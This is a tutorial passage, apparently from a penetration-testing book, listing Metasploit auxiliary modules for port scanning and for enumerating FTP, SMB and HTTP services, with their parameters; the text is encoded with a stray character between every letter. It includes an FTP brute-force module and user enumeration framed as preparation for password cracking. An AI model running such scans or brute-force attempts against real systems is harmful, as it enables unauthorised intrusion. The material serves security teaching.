�A�d�v�a�n�c�e�d� �s�e�a�r�c�h� �u�s�i�n�g� �S�h�o�d�a�n



�I�n�f�o�r�m�a�t�i�o�n� �G�a�t�h�e�r�i�n�g� �w�i�t�h� �M�e�t�a�s�p�l�o�i�t
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�I�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n
�I�n� �t�h�i�s� �s�e�c�t�i�o�n�,� �w�e�'�l�l� �e�x�p�l�o�r�e� �v�a�r�i�o�u�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �w�i�t�h�i�n� �t�h�e� �M�e�t�a�s�p�l�o�i�t� �F�r�a�m�e�w�o�r�k
�t�h�a�t� �c�a�n� �b�e� �e�f�f�e�c�t�i�v�e�l�y� �u�s�e�d� �f�o�r� �i�n�f�o�r�m�a�t�i�o�n� �g�a�t�h�e�r�i�n�g� �a�n�d� �e�n�u�m�e�r�a�t�i�o�n� �o�f� �v�a�r�i�o�u�s� �p�r�o�t�o�c�o�l�s
�s�u�c�h� �a�s� �T�C�P�,� �U�D�P�,� �F�T�P�,� �S�M�B�,� �S�M�T�P�,� �H�T�T�P�,� �S�S�H�,� �D�N�S�,� �a�n�d� �R�D�P�.� �F�o�r� �e�a�c�h� �o�f� �t�h�e�s�e
�p�r�o�t�o�c�o�l�s�,� �y�o�u� �w�i�l�l� �l�e�a�r�n� �m�u�l�t�i�p�l�e� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e�s� �a�l�o�n�g� �w�i�t�h� �t�h�e� �n�e�c�e�s�s�a�r�y� �v�a�r�i�a�b�l�e
�c�o�n�f�i�g�u�r�a�t�i�o�n�s�.

�T�r�a�n�s�m�i�s�s�i�o�n� �C�o�n�t�r�o�l� �P�r�o�t�o�c�o�l
�T�r�a�n�s�m�i�s�s�i�o�n� �C�o�n�t�r�o�l� �P�r�o�t�o�c�o�l� �(�T�C�P�)� �i�s� �a� �c�o�n�n�e�c�t�i�o�n�-�o�r�i�e�n�t�e�d� �p�r�o�t�o�c�o�l� �a�n�d� �e�n�s�u�r�e�s
�r�e�l�i�a�b�l�e� �p�a�c�k�e�t� �t�r�a�n�s�m�i�s�s�i�o�n�.� �M�a�n�y� �o�f� �t�h�e� �s�e�r�v�i�c�e�s� �s�u�c�h� �a�s� �T�e�l�n�e�t�,� �S�S�H�,� �F�T�P�,� �a�n�d� �S�M�T�P
�m�a�k�e� �u�s�e� �o�f� �t�h�e� �T�C�P� �p�r�o�t�o�c�o�l�.� �T�h�i�s� �m�o�d�u�l�e� �p�e�r�f�o�r�m�s� �a� �s�i�m�p�l�e� �p�o�r�t� �s�c�a�n� �a�g�a�i�n�s�t� �t�h�e� �t�a�r�g�e�t
�s�y�s�t�e�m� �a�n�d� �t�e�l�l�s� �u�s� �w�h�i�c�h� �T�C�P� �p�o�r�t�s� �a�r�e� �o�p�e�n�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/portscan/tcp �,� �a�n�d� �y�o�u� �w�i�l�l� �h�a�v�e� �t�o
�c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
�P�O�R�T�S�:� �R�a�n�g�e� �o�f� �p�o�r�t�s� �t�o� �b�e� �s�c�a�n�n�e�d

�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�U�s�e�r� �D�a�t�a�g�r�a�m� �P�r�o�t�o�c�o�l
�U�s�e�r� �D�a�t�a�g�r�a�m� �P�r�o�t�o�c�o�l� �(�U�D�P�)� �i�s� �l�i�g�h�t�w�e�i�g�h�t� �c�o�m�p�a�r�e�d� �t�o� �T�C�P�,� �h�o�w�e�v�e�r�,� �n�o�t� �a�s� �r�e�l�i�a�b�l�e� �a�s
�T�C�P�.� �U�D�P� �i�s� �u�s�e�d� �b�y� �s�e�r�v�i�c�e�s� �s�u�c�h� �a�s� �S�N�M�P� �a�n�d� �D�N�S�.� �T�h�i�s� �m�o�d�u�l�e� �p�e�r�f�o�r�m�s� �a� �s�i�m�p�l�e� �p�o�r�t
�s�c�a�n� �a�g�a�i�n�s�t� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �a�n�d� �t�e�l�l�s� �u�s� �w�h�i�c�h� �U�D�P� �p�o�r�t�s� �a�r�e� �o�p�e�n�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/discovery/udp_sweep �,� �a�n�d� �y�o�u� �w�i�l�l
�h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d

�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�F�i�l�e� �T�r�a�n�s�f�e�r� �P�r�o�t�o�c�o�l
�F�i�l�e� �T�r�a�n�s�f�e�r� �P�r�o�t�o�c�o�l� �(�F�T�P�)� �i�s� �m�o�s�t� �c�o�m�m�o�n�l�y� �u�s�e�d� �f�o�r� �f�i�l�e� �s�h�a�r�i�n�g� �b�e�t�w�e�e�n� �t�h�e� �c�l�i�e�n�t� �a�n�d
�s�e�r�v�e�r�.� �F�T�P� �u�s�e�s� �T�C�P� �p�o�r�t� �2�1� �f�o�r� �c�o�m�m�u�n�i�c�a�t�i�o�n�.
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�L�e�t�'�s� �g�o� �t�h�r�o�u�g�h� �s�o�m�e� �o�f� �t�h�e� �f�o�l�l�o�w�i�n�g� �F�T�P� �a�u�x�i�l�i�a�r�i�e�s�:

ftp_login �:� �T�h�i�s� �m�o�d�u�l�e� �h�e�l�p�s� �u�s� �p�e�r�f�o�r�m� �a� �b�r�u�t�e�-�f�o�r�c�e� �a�t�t�a�c�k� �a�g�a�i�n�s�t� �t�h�e� �t�a�r�g�e�t
�F�T�P� �s�e�r�v�e�r�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/ftp/ftp_login �,� �a�n�d
�y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
�U�S�E�R�P�A�S�S�_�F�I�L�E�:� �P�a�t�h� �t�o� �t�h�e� �f�i�l�e� �c�o�n�t�a�i�n�i�n�g� �t�h�e
�u�s�e�r�n�a�m�e�/�p�a�s�s�w�o�r�d� �l�i�s�t

�Y�o�u� �c�a�n� �e�i�t�h�e�r� �c�r�e�a�t�e� �y�o�u�r� �o�w�n� �c�u�s�t�o�m� �l�i�s�t� �t�h�a�t� �c�a�n� �b�e� �u�s�e�d� �f�o�r� �a� �b�r�u�t�e�-
�f�o�r�c�e� �a�t�t�a�c�k�,� �o�r� �t�h�e�r�e� �a�r�e� �m�a�n�y� �w�o�r�d�l�i�s�t�s� �i�n�s�t�a�n�t�l�y� �a�v�a�i�l�a�b�l�e� �f�o�r� �u�s�e� �i�n� �K�a�l�i
�L�i�n�u�x�,� �l�o�c�a�t�e�d� �a�t� |usr|share|wordlists �.

�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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ftp_version �:� �T�h�i�s� �m�o�d�u�l�e� �u�s�e�s� �t�h�e� �b�a�n�n�e�r� �g�r�a�b�b�i�n�g� �t�e�c�h�n�i�q�u�e� �t�o� �d�e�t�e�c�t� �t�h�e
�v�e�r�s�i�o�n� �o�f� �t�h�e� �t�a�r�g�e�t� �F�T�P� �s�e�r�v�e�r�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/ftp/ftp_version �,� �a�n�d
�y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d

�O�n�c�e� �y�o�u� �k�n�o�w� �t�h�e� �v�e�r�s�i�o�n� �o�f� �t�h�e� �t�a�r�g�e�t� �s�e�r�v�i�c�e�,� �y�o�u� �c�a�n� �s�t�a�r�t� �s�e�a�r�c�h�i�n�g
�f�o�r� �v�e�r�s�i�o�n� �s�p�e�c�i�f�i�c� �v�u�l�n�e�r�a�b�i�l�i�t�i�e�s� �a�n�d� �c�o�r�r�e�s�p�o�n�d�i�n�g� �e�x�p�l�o�i�t�s�.

�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:
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�a�n�o�n�y�m�o�u�s�:� �S�o�m�e� �F�T�P� �s�e�r�v�e�r�s� �a�r�e� �m�i�s�c�o�n�f�i�g�u�r�e�d� �i�n� �a� �w�a�y� �t�h�a�t� �t�h�e�y� �a�l�l�o�w
�a�n�o�n�y�m�o�u�s� �a�c�c�e�s�s� �t�o� �r�e�m�o�t�e� �u�s�e�r�s�.� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �p�r�o�b�e�s� �t�h�e� �t�a�r�g�e�t� �F�T�P
�s�e�r�v�e�r� �t�o� �c�h�e�c�k� �w�h�e�t�h�e�r� �i�t� �a�l�l�o�w�s� �a�n�o�n�y�m�o�u�s� �a�c�c�e�s�s�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/ftp/anonymous �,� �a�n�d
�y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d

�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�S�e�r�v�e�r� �M�e�s�s�a�g�e� �B�l�o�c�k
�S�e�r�v�e�r� �M�e�s�s�a�g�e� �B�l�o�c�k� �(�S�M�B�)� �i�s� �a�n� �a�p�p�l�i�c�a�t�i�o�n� �l�a�y�e�r� �p�r�o�t�o�c�o�l� �p�r�i�m�a�r�i�l�y� �u�s�e�d� �f�o�r� �s�h�a�r�i�n�g
�f�i�l�e�s�,� �p�r�i�n�t�e�r�s�,� �a�n�d� �s�o� �o�n�.� �S�M�B� �u�s�e�s� �T�C�P� �p�o�r�t� �4�4�5� �f�o�r� �c�o�m�m�u�n�i�c�a�t�i�o�n�.
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�L�e�t�'�s� �g�o� �t�h�r�o�u�g�h� �s�o�m�e� �o�f� �t�h�e� �f�o�l�l�o�w�i�n�g� �S�M�B� �a�u�x�i�l�i�a�r�i�e�s�:

smb_version �:� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �p�r�o�b�e�s� �t�h�e� �t�a�r�g�e�t� �t�o� �c�h�e�c�k� �w�h�i�c�h� �S�M�B
�v�e�r�s�i�o�n� �i�t�'�s� �r�u�n�n�i�n�g�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/smb/smb_version �,� �a�n�d
�y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d

smb_enumusers �:� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �c�o�n�n�e�c�t�s� �t�o� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �v�i�a� �t�h�e
�S�M�B� �R�P�C� �s�e�r�v�i�c�e� �a�n�d� �e�n�u�m�e�r�a�t�e�s� �t�h�e� �u�s�e�r�s� �o�n� �t�h�e� �s�y�s�t�e�m�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/smb/smb_enumusers �,
�a�n�d� �y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
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�O�n�c�e� �y�o�u� �h�a�v�e� �a� �l�i�s�t� �o�f� �u�s�e�r�s� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�,� �y�o�u� �c�a�n� �s�t�a�r�t� �p�r�e�p�a�r�i�n�g
�f�o�r� �p�a�s�s�w�o�r�d� �c�r�a�c�k�i�n�g� �a�t�t�a�c�k�s� �a�g�a�i�n�s�t� �t�h�e�s�e� �u�s�e�r�s�.

�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

smb_enumshares �:� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �e�n�u�m�e�r�a�t�e�s� �S�M�B� �s�h�a�r�e�s� �t�h�a�t� �a�r�e
�a�v�a�i�l�a�b�l�e� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/smb/smb_enumshares �,
�a�n�d� �y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
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�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�H�y�p�e�r�t�e�x�t� �T�r�a�n�s�f�e�r� �P�r�o�t�o�c�o�l
�H�T�T�P� �i�s� �a� �s�t�a�t�e�l�e�s�s� �a�p�p�l�i�c�a�t�i�o�n� �l�a�y�e�r� �p�r�o�t�o�c�o�l� �u�s�e�d� �f�o�r� �t�h�e� �e�x�c�h�a�n�g�e� �o�f� �i�n�f�o�r�m�a�t�i�o�n� �o�n� �t�h�e
�W�o�r�l�d� �W�i�d�e� �W�e�b�.� �H�T�T�P� �u�s�e�s� �T�C�P� �p�o�r�t� 80 � �f�o�r� �c�o�m�m�u�n�i�c�a�t�i�o�n�.
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�L�e�t�'�s� �g�o� �t�h�r�o�u�g�h� �s�o�m�e� �o�f� �t�h�e� �f�o�l�l�o�w�i�n�g� �H�T�T�P� �a�u�x�i�l�i�a�r�i�e�s�:

http_version �:� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �p�r�o�b�e�s� �a�n�d� �r�e�t�r�i�e�v�e�s� �t�h�e� �v�e�r�s�i�o�n� �o�f� �w�e�b
�s�e�r�v�e�r� �r�u�n�n�i�n�g� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.� �I�t� �m�a�y� �a�l�s�o� �g�i�v�e� �i�n�f�o�r�m�a�t�i�o�n� �o�n� �w�h�a�t
�o�p�e�r�a�t�i�n�g� �s�y�s�t�e�m� �a�n�d� �w�e�b� �f�r�a�m�e�w�o�r�k� �t�h�e� �t�a�r�g�e�t� �i�s� �r�u�n�n�i�n�g�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/http/http_version �,
�a�n�d� �y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d

�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

backup_file �:� �S�o�m�e�t�i�m�e�s�,� �t�h�e� �d�e�v�e�l�o�p�e�r�s� �a�n�d� �t�h�e� �a�p�p�l�i�c�a�t�i�o�n� �a�d�m�i�n�i�s�t�r�a�t�o�r�s
�f�o�r�g�e�t� �t�o� �r�e�m�o�v�e� �b�a�c�k�u�p� �f�i�l�e�s� �f�r�o�m� �t�h�e� �w�e�b� �s�e�r�v�e�r�.� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �p�r�o�b�e�s
�t�h�e� �t�a�r�g�e�t� �w�e�b� �s�e�r�v�e�r� �f�o�r� �t�h�e� �p�r�e�s�e�n�c�e� �o�f� �a�n�y� �s�u�c�h� �f�i�l�e�s� �t�h�a�t� �m�a�y� �b�e� �p�r�e�s�e�n�t� �s�i�n�c�e
�t�h�e� �a�d�m�i�n�i�s�t�r�a�t�o�r� �m�i�g�h�t� �f�o�r�g�e�t� �t�o� �r�e�m�o�v�e� �t�h�e�m�.� �S�u�c�h� �f�i�l�e�s� �m�a�y� �g�i�v�e� �o�u�t
�a�d�d�i�t�i�o�n�a�l� �d�e�t�a�i�l�s� �a�b�o�u�t� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m� �a�n�d� �h�e�l�p� �i�n� �f�u�r�t�h�e�r� �c�o�m�p�r�o�m�i�s�e�.
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�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/http/backup_file �,
�a�n�d� �y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d

�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

dir_listing �:� �Q�u�i�t�e� �o�f�t�e�n� �t�h�e� �w�e�b� �s�e�r�v�e�r� �i�s� �m�i�s�c�o�n�f�i�g�u�r�e�d� �t�o� �d�i�s�p�l�a�y� �t�h�e� �l�i�s�t� �o�f
�f�i�l�e�s� �c�o�n�t�a�i�n�e�d� �i�n� �t�h�e� �r�o�o�t� �d�i�r�e�c�t�o�r�y�.� �T�h�e� �d�i�r�e�c�t�o�r�y� �m�a�y� �c�o�n�t�a�i�n� �f�i�l�e�s� �t�h�a�t� �a�r�e� �n�o�t
�n�o�r�m�a�l�l�y� �e�x�p�o�s�e�d� �t�h�r�o�u�g�h� �l�i�n�k�s� �o�n� �t�h�e� �w�e�b�s�i�t�e� �a�n�d� �l�e�a�k� �o�u�t� �s�e�n�s�i�t�i�v�e
�i�n�f�o�r�m�a�t�i�o�n�.� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �c�h�e�c�k�s� �w�h�e�t�h�e�r� �t�h�e� �t�a�r�g�e�t� �w�e�b� �s�e�r�v�e�r� �i�s
�v�u�l�n�e�r�a�b�l�e� �t�o� �d�i�r�e�c�t�o�r�y� �l�i�s�t�i�n�g�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/http/dir_listing �,
�a�n�d� �y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
�P�A�T�H�:� �P�o�s�s�i�b�l�e� �p�a�t�h� �t�o� �c�h�e�c�k� �f�o�r� �d�i�r�e�c�t�o�r�y� �l�i�s�t�i�n�g
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�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

ssl �:� �T�h�o�u�g�h� �S�S�L� �c�e�r�t�i�f�i�c�a�t�e�s� �a�r�e� �v�e�r�y� �c�o�m�m�o�n�l�y� �u�s�e�d� �f�o�r� �e�n�c�r�y�p�t�i�n�g� �d�a�t�a� �i�n
�t�r�a�n�s�i�t�,� �t�h�e�y� �a�r�e� �o�f�t�e�n� �f�o�u�n�d� �t�o� �b�e� �e�i�t�h�e�r� �m�i�s�c�o�n�f�i�g�u�r�e�d� �o�r� �u�s�i�n�g� �w�e�a�k
�c�r�y�p�t�o�g�r�a�p�h�y� �a�l�g�o�r�i�t�h�m�s�.� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �c�h�e�c�k�s� �f�o�r� �p�o�s�s�i�b�l�e� �w�e�a�k�n�e�s�s�e�s
�i�n� �t�h�e� �S�S�L� �c�e�r�t�i�f�i�c�a�t�e� �i�n�s�t�a�l�l�e�d� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/http/ssl �,� �a�n�d� �y�o�u� �w�i�l�l
�h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
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�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

http_header �:� �M�o�s�t� �w�e�b� �s�e�r�v�e�r�s� �a�r�e� �n�o�t� �h�a�r�d�e�n�e�d� �f�o�r� �s�e�c�u�r�i�t�y�.� �T�h�i�s� �r�e�s�u�l�t�s� �i�n
�H�T�T�P� �h�e�a�d�e�r�s� �l�e�a�k�i�n�g� �o�u�t� �s�e�r�v�e�r� �a�n�d� �o�p�e�r�a�t�i�n�g� �s�y�s�t�e�m� �v�e�r�s�i�o�n� �d�e�t�a�i�l�s�.� �T�h�i�s
�a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �c�h�e�c�k�s� �w�h�e�t�h�e�r� �t�h�e� �t�a�r�g�e�t� �w�e�b� �s�e�r�v�e�r� �i�s� �g�i�v�i�n�g� �o�u�t� �a�n�y� �v�e�r�s�i�o�n
�i�n�f�o�r�m�a�t�i�o�n� �t�h�r�o�u�g�h� �H�T�T�P� �h�e�a�d�e�r�s�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/http/http_header �,
�a�n�d� �y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
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�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

robots_txt �:� �M�o�s�t� �s�e�a�r�c�h� �e�n�g�i�n�e�s� �w�o�r�k� �w�i�t�h� �h�e�l�p� �o�f� �b�o�t�s� �t�h�a�t� �s�p�i�d�e�r� �a�n�d� �c�r�a�w�l
�t�h�e� �s�i�t�e�s� �a�n�d� �i�n�d�e�x� �t�h�e� �p�a�g�e�s�.� �H�o�w�e�v�e�r�,� �a�n� �a�d�m�i�n�i�s�t�r�a�t�o�r� �o�f� �a� �p�a�r�t�i�c�u�l�a�r� �w�e�b�s�i�t�e
�m�i�g�h�t� �n�o�t� �w�a�n�t� �a� �c�e�r�t�a�i�n� �s�e�c�t�i�o�n� �o�f� �h�i�s� �w�e�b�s�i�t�e� �t�o� �b�e� �c�r�a�w�l�e�d� �b�y� �a�n�y� �o�f� �t�h�e� �s�e�a�r�c�h
�b�o�t�.� �I�n� �t�h�i�s� �c�a�s�e�,� �h�e� �u�s�e�s� �t�h�e� robots.txt � �f�i�l�e� �t�o� �t�e�l�l� �t�h�e� �s�e�a�r�c�h� �b�o�t�s� �t�o� �e�x�c�l�u�d�e
�c�e�r�t�a�i�n� �s�e�c�t�i�o�n�s� �o�f� �t�h�e� �s�i�t�e� �w�h�i�l�e� �c�r�a�w�l�i�n�g�.� �T�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �p�r�o�b�e�s� �t�h�e� �t�a�r�g�e�t
�t�o� �c�h�e�c�k� �t�h�e� �p�r�e�s�e�n�c�e� �o�f� �t�h�e� robots.txt � �f�i�l�e�.� �T�h�i�s� �f�i�l�e� �c�a�n� �o�f�t�e�n� �r�e�v�e�a�l� �a� �l�i�s�t� �o�f
�s�e�n�s�i�t�i�v�e� �f�i�l�e�s� �a�n�d� �f�o�l�d�e�r�s� �p�r�e�s�e�n�t� �o�n� �t�h�e� �t�a�r�g�e�t� �s�y�s�t�e�m�.

�I�t�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �n�a�m�e� �i�s� auxiliary/scanner/http/robots_txt �,� �a�n�d
�y�o�u� �w�i�l�l� �h�a�v�e� �t�o� �c�o�n�f�i�g�u�r�e� �t�h�e� �f�o�l�l�o�w�i�n�g� �p�a�r�a�m�e�t�e�r�s�:

�R�H�O�S�T�S�:� �I�P� �a�d�d�r�e�s�s� �o�r� �I�P� �r�a�n�g�e� �o�f� �t�h�e� �t�a�r�g�e�t� �t�o� �b�e� �s�c�a�n�n�e�d
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�W�e� �c�a�n� �s�e�e� �t�h�i�s� �a�u�x�i�l�i�a�r�y� �m�o�d�u�l�e� �i�n� �t�h�e� �f�o�l�l�o�w�i�n�g� �s�c�r�e�e�n�s�h�o�t�:

�S�i�m�p�l�e� �M�a�i�l� �T�r�a�n�s�f�e�r� �P�r�o�t�o�c�o�l
�S�M�T�P� �i�s� �u�s�e�d� �f�o�r� �s�e�n�d�i�n�g� �a�n�d� �r�e�c�e�i�v�i�n�g� �e�m�a�i�l�s�.� �S�M�T�P� �u�s�e�s� �T�C�P� �p�o�r�t� �2�5� �f�o�r� �c�o�m�m�u�n�i�c�a�t�i�o�n�.
